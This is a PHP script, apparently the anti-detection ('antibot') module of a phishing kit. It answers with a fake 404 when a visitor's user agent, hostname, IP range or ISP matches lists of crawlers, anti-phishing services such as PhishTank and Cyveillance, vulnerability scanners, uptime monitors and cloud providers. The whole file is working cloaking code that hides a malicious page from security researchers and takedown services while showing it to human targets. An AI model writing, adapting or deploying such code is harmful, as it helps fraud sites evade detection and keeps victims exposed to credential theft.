<?php
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

if (!isset($isp)) $isp = 'Unknown';
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';

// Enhanced bot detection - Check for common bot user agents
$bot_signatures = array(
    'bot', 'crawler', 'spider', 'scraper', 'curl', 'wget', 'python', 'java',
    'libwww', 'perl', 'go-http-client', 'node', 'axios', 'postman', 'insomnia',
    'facebookexternalhit', 'twitterbot', 'linkedinbot', 'slackbot',
    'googlebot', 'bingbot', 'yandexbot', 'baiduspider', 'ahrefsbot',
    'semrushbot', 'dotbot', 'mj12bot', 'petalbot', 'zoominfobot',
    'bytespider', 'dataforseobot', 'serpstatbot', 'seznambot',
    'exabot', 'sogou', 'duckduckgo', 'archive.org_bot'
);

// Check for bot signatures in user agent
foreach($bot_signatures as $signature) {
    if(stripos($user_agent, $signature) !== false) {
        header('HTTP/1.0 404 Not Found');
        exit();
    }
}

// Define blocked words array
$blocked_words = array(
    "bot", "above", "google", "softlayer", "amazonaws", "cyveillance",
    "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit",
    "apache-httpclient", "lssrocketcrawler", "crawler", "urlredirectresolver",
    "jetbrains", "spam", "windows 95", "windows 98", "acunetix", "netsparker",
    "cloudflare", "cloudinary", "dataminr", "zabbix", "monitor", "uptime",
    "pingdom", "newrelic", "pagerduty", "statuscake", "uptimerobot"
);

// Define banned IP array
$bannedIP = array(
    "^81.161.59.*", "^66.135.200.*", "^66.102.*.*", "^38.100.*.*", 
    "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",
    "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*",
    "^192.168.*.*", "^10.*.*.*", "^172.(1[6-9]|2[0-9]|3[0-1]).*.*",
    "^0.*.*.*", "^127.*.*.*", "^169.254.*.*"
);

// Define banned ISP array
$banned_isp = array(
    'Peak 10', 'Quasi Networks LTD', 'SC Rusnano', 'GoDaddy.com, LLC',
    'Server Plan S.r.l.', 'Linode', 'Blazing SEO', 'Lixux OU',
    'Inter Connects Inc', 'Flokinet Ltd', 'LukMAN Multimedia Sp. z o.o',
    'DigitalOcean', 'Amazon.com', 'Google Cloud', 'Microsoft Azure',
    'OVH SAS', 'Hetzner Online GmbH', 'Contabo GmbH', 'Cloudflare',
    'Akamai Technologies', 'Fastly', 'Cloudinary'
);

// Check for banned words in hostname
foreach($blocked_words as $word) {
    if (substr_count($hostname, $word) > 0) {
        header('HTTP/1.0 404 Not Found');
        exit();
    }  
}

// Check for banned IPs
if(in_array($_SERVER['REMOTE_ADDR'], $bannedIP)) {
    header('HTTP/1.0 404 Not Found');
    exit();
} else {
    foreach($bannedIP as $ip) {
        if(preg_match('/' . $ip . '/', $_SERVER['REMOTE_ADDR'])){
            header('HTTP/1.0 404 Not Found');
            exit();
        }
    }
}

// Check for banned ISPs
if(in_array($isp, $banned_isp)) {
    header('HTTP/1.0 404 Not Found');
    exit();
} else {
    foreach($banned_isp as $banip) {
        if(preg_match('/' . $banip . '/', $isp)){
            header('HTTP/1.0 404 Not Found');
            exit();
        }
    }
}

// Additional bot detection - Check for suspicious request patterns
if(empty($user_agent) || strlen($user_agent) < 10) {
    header('HTTP/1.0 404 Not Found');
    exit();
}

// Check for automated tools by looking for missing headers typically sent by browsers
if(!isset($_SERVER['HTTP_ACCEPT']) || !isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
    header('HTTP/1.0 404 Not Found');
    exit();
}
?>